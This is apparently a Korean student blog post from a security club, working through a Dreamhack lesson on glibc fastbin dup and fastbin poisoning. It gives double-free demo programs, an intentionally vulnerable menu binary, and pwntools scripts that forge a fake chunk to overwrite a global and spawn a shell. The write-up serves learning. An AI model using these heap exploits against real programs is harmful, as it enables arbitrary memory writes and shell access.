일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 풀이
- lob
- 백준
- Python
- siss
- 머신러닝
- hackerrank
- XSS Game
- c++
- 기계학습
- BOJ
- HTML
- SWEA
- 숙명여자대학교 정보보안동아리
- Sookmyung Information Security Study
- 파이썬
- c
- 드림핵
- hackctf
- 자료구조 복습
- 생활코딩
- Javascript
- CSS
- 웹페이지 만들기
- WarGame
- 숙명여자대학교 정보보안 동아리
- The Loard of BOF
- BOJ Python
- PHP 웹페이지 만들기
- C언어
- Today
- Total
혜랑's STORY
[Dreamhack] Heap Allocator Exploit : fastbin dup 본문
[Dreamhack] Heap Allocator Exploit : fastbin dup
hyerang0125 2021. 9. 26. 18:24fastbin dup
fastbin dup은 Double Free 버그를 이용하여 fastbin freelist를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격 기법이다. 이를 이용하면 fastbin의 FD 포인터를 조작해 임의 주소에 힙 청크를 할당할 수 있다.
그러나 이를 방지하기 위해 FD 포인터가 가리키는 영역의 size와 할당하려는 bin의 크기를 비교하는 코드가 존재한다. 해당 코드를 이해하고 우회하는 방법 또한 알아보자.
fastbin_dup.c
// gcc -o fastbin_dup fastbin_dup.c
#include <stdio.h>
#include <stdlib.h>
int main(void){
char *ptr1 = (char *)malloc(0x40);
char *ptr2 = (char *)malloc(0x40);
free(ptr1);
free(ptr2);
free(ptr1);
fprintf(stderr, "malloc : %p\n", malloc(0x40));
fprintf(stderr, "malloc : %p\n", malloc(0x40));
fprintf(stderr, "malloc : %p\n", malloc(0x40));
return 0;
}
위 코드는 ptr1을 두 번 해제해 fastbin freelist에 두 개의 동일한 주소를 삽입한 후 malloc 함수가 리턴하는 포인터를 확인하는 예제이다.
fastbin_dup의 실행 결과는 다음과 같다.
free 함수가 호출된 이후 첫 번째와 세 번째에 할당된 힙 청크의 주소가 동일한 것을 확인할 수 있다.
fastbin dup & poisoning
fastbin poisoning은 해제된 fastbin 힙 청크의 FD를 조작해 임의의 주소에 힙 청크를 할당하는 공격 기법이다.
fastbin_dup1.c
// gcc -o fastbin_dup1 fastbin_dup1.c
#include <stdlib.h>
#include <stdio.h>
long win;
int main()
{
long *ptr1, *ptr2, *ptr3, *ptr4;
*(&win - 1) = 0x31;
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
free(ptr1);
free(ptr2);
free(ptr1);
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
ptr1[0] = &win - 2;
ptr3 = malloc(0x20);
ptr4 = malloc(0x20);
ptr4[0] = 1;
if(win) {
printf("Win!\n");
}
return 0;
}
위 코드는 &win-1에 할당할 공격에 사용할 fastbin의 size인 0x31을 대입한 후 32 바이트 크기의 힙 청크를 할당ㅎ하고 해제하는 예제이다. 이대 line 20에서 Double Free 버그가 발생해 fastbin freelist에 두 개의 동일한 힙 청크 주소가 삽입된다.
이후 해제된 ptr1의 FD를 &win-2로 조작한다. 그리고 조작된 FD의 값이 fastbin freelist에서 참조하여 할당하도록 네 번의 할당 요청을 한 후 ptr4를 참조해 win 전역 변수의 값을 조작한다.
fastbin의 크기를 가진 힙을 할당할 때 다음과 같은 조건을 만족해야 한다.
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
idx = fastbin_index (nb);
...
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
}
- chunksize 매크로의 인자는 할당 요청이 들어온 힙 청크의 주소이다.
- chunksize 매크로는 인자로 전달된 힙 청크의 크기를 구하고 이는 할당하려는 힙 청크의 크기가 fastbin과 일치하는지 검증한다.
위 fastvin_dup1.c 코드에서 0x31 값을 &win-1 위치에 씀으로써 위 조건을 만족하고, ptr4는 win 전역 변수 위치에 할당된다. 이처럼 메모리 할당자가 의도하지 않은 힙 청크를 Fake chunk라고 한다.
ptr4를 할당하기 전에 win 전역변수에 Fake chunk를 구성한 모습을 보기 위해 main+146에 bp를 설정하고 프로그램을 실행하였다.
win 전역 변수에 할당하기 위해 size를 0x31로 조작한 것을 확인할 수 있다.
fastbin_dup1의 실행 결과는 다음과 같다.
fastbin_dup2.c
// gcc -o fastbin_dup2 fastbin_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int overwrite_me;
int main()
{
int ch, idx;
int i = 0;
char *ptr[10];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
printf("Name : ");
read(0, name, 16);
while (1) {
printf("> ");
scanf("%d", &ch);
switch(ch) {
case 1:
if( i >= 10 ) {
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(32);
printf("Data: ");
read(0, ptr[i], 32-1);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
if( overwrite_me == 0xDEADBEEF ) {
system("/bin/sh");
}
break;
default:
break;
}
}
return 0;
}
위 코드는 32 바이트 크기의 힙을 할당, 해제할 수 있고 데이터를 입력할 수 있다. 익스플로잇 시나리오는 다음과 같다.
- 검증 우회를 위해 두 개의 힙을 할당한다.
- old와 p 포인터를 다르게 하여 Double Free를 발생시킨다.
- Double Free가 발생하여 FD를 조작할 수 있다. 데이터를 입력할 때 할당한 overwrite_me 전역 변수의 주소를 FD 위치에 입력한다.
- 네 번째 할당 때 조작한 FD를 참조하여 할당하기 때문에 overwrite_me 전역 변수에 힙 청크가 할당된다. overwrite_me 전역 변수에 힙 청크가 할당되면 0xDEADBEEF 값을 입력하여 3번 메뉴를 통해 셸을 획득할 수 있다.
fastbin_dup2_error.py
# fastbin_dup2_error.py
from pwn import *
p = process("./fastbin_dup2")
def add(data):
print p.sendlineafter(">","1")
print p.sendlineafter(":",str(data))
def free(idx):
print p.sendlineafter(">","2")
print p.sendlineafter(":",str(idx))
def getshell():
print p.sendlineafter(">","3")
elf = ELF('fastbin_dup2')
print p.sendlineafter("Name :", "AAAA")
add("AAAA") # 0
add("AAAA") # 1
free(0)
free(1)
free(0)
overwrite_me_addr = elf.symbols['overwrite_me']
add(p64(overwrite_me_addr)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010
add("DDDD") # Arbitrary allocate, write
p.interactive()
위 코드는 Double Free를 이용해 fastbin dup을 하고, overwrite_me 전역 변수에 할당을 시도하기 위해 FD를 overwrite_me 전역 변수 주소로 조작했다. 이후에 조작한 FD를 참조하기 위해 힙을 네 번 할당했다.
실행한 모습이다.
이전에 설명한 조건을 만족하지 않았기 때문에 "malloc(): memory corruptiono (fast)" 메세지를 출력하고 비정상 종료한 것을 알 수 있다. 그렇다면 원하는 주소에 할당하기 위해서는 Fake chunk를 할당하려는 fastbin의 크기에 맞게 구성을 해주어야 한다. Fake chunk를 구성하기 위해 name 전역 변수를 사용할 수 있다.
name 전역 변수에 Fake chunk를 구성하여 overwrite_me 전역 변수에 힙 청크를 할당하고 0xDEADBEEF를 입력하여 셸을 획득할 수 있다.
Fake chunk 구성
fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("Name :", fakechunk)
fastbin에서는 prev_size에 대한 검증이 없기 때문에 Fake chunk의 prev_size에는 0을 입력하였다. 이후 할당하려는 힙의 크기는 0x20이기 때문에 힙 청크의 메타데이터 크기를 포함한 0x31을 size로 입력하였다.
fake_chunk_name = elf.symbols['name']
add(p64(fake_chunk_name)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010
pause()
add(p64(0xDEADBEEF)) # Arbitrary allocate, write
getshell()
위 코드와 같이, FD를 Fake chunk가 구성된 0x6010a0 주소로 조작한다면 검증을 우회한 후, 해당 주소에 힙 청크를 할당할 수 있게 된다. overwrite_me 전역 변수에 0xDEADBEEF를 입력하면 3번 메뉴를 통해 셸을 획득할 수 있게 된다.
fastbin_dup2.py
# fastbin_dup2.py
from pwn import *
#context.log_level = 'debug'
p = process("./fastbin_dup2")
def add(data):
print p.sendlineafter(">","1")
print p.sendlineafter(":",str(data))
def free(idx):
print p.sendlineafter(">","2")
print p.sendlineafter(":",str(idx))
def getshell():
print p.sendlineafter(">","3")
elf = ELF('fastbin_dup2')
fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("Name :", fakechunk)
add("AAAA") # 0
add("AAAA") # 1
free(0)
free(1)
free(0)
overwrite_me_addr = elf.symbols['overwrite_me']
fake_chunk_name = elf.symbols['name']
add(p64(fake_chunk_name)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010
add(p64(0xDEADBEEF)) # Arbitrary allocate, write
getshell()
p.interactive()
위 코드를 실행하면 셸을 얻을 수 있다.
'2021 SISS 21기 활동 > 2학시 시스템' 카테고리의 다른 글
[HC 2021] welcome (0) | 2021.09.26 |
---|---|
[Dreamhack] Heap Allocator Exploit : fastbin dup consolidate (0) | 2021.09.26 |
[HackCTF] UAF (0) | 2021.09.17 |
[Dreamhack] Heap Allocator Exploit : Double Free (0) | 2021.09.17 |
[Dreamhack] Heap Allocator Exploit : Security check (0) | 2021.09.11 |